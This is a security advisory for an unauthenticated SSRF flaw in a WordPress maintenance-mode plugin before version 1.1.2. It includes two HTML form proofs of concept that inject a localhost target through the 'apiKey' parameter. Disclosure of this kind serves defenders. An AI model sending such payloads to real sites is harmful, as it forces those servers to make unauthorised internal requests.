Under Construction, Coming Soon & Maintenance Mode < 1.1.2 – Server Side Request Forgery (SSRF)

Description

The includes/mc-get_lists.php file used the 'apiKey' POST parameter to create an https URL from it without sanitisation and called it with cURL, leading to a SSRF issue.

The issue is exploitable via direct access to the affected file, and ucmm_mc_api AJAX call (available to both authenticated and unauthenticated users).

Proof of Concept

Via the ucmm_mc_api AJAX action, accessible to both authenticated and unauthenticated users:

<form method="post" action="https://example.com/wp-admin/admin-ajax.php">
<input type="hidden" name="action" value="ucmm_mc_api" />
<input type="text" name="apiKey" value="-localhost:8765/test/test/test?key1=val1&dummy=" />
<input type="submit" value="Submit!" />
</form>

Via direct access:

<form method="post" action="https://exmple.com/wp-content/plugins/under-construction-maintenance-mode/includes/mc-get_lists.php">
<input type="text" name="apiKey" value="-localhost:8765/test/test/test?key1=val1&dummy=" />
<input type="submit" value="Submit!" />
</form>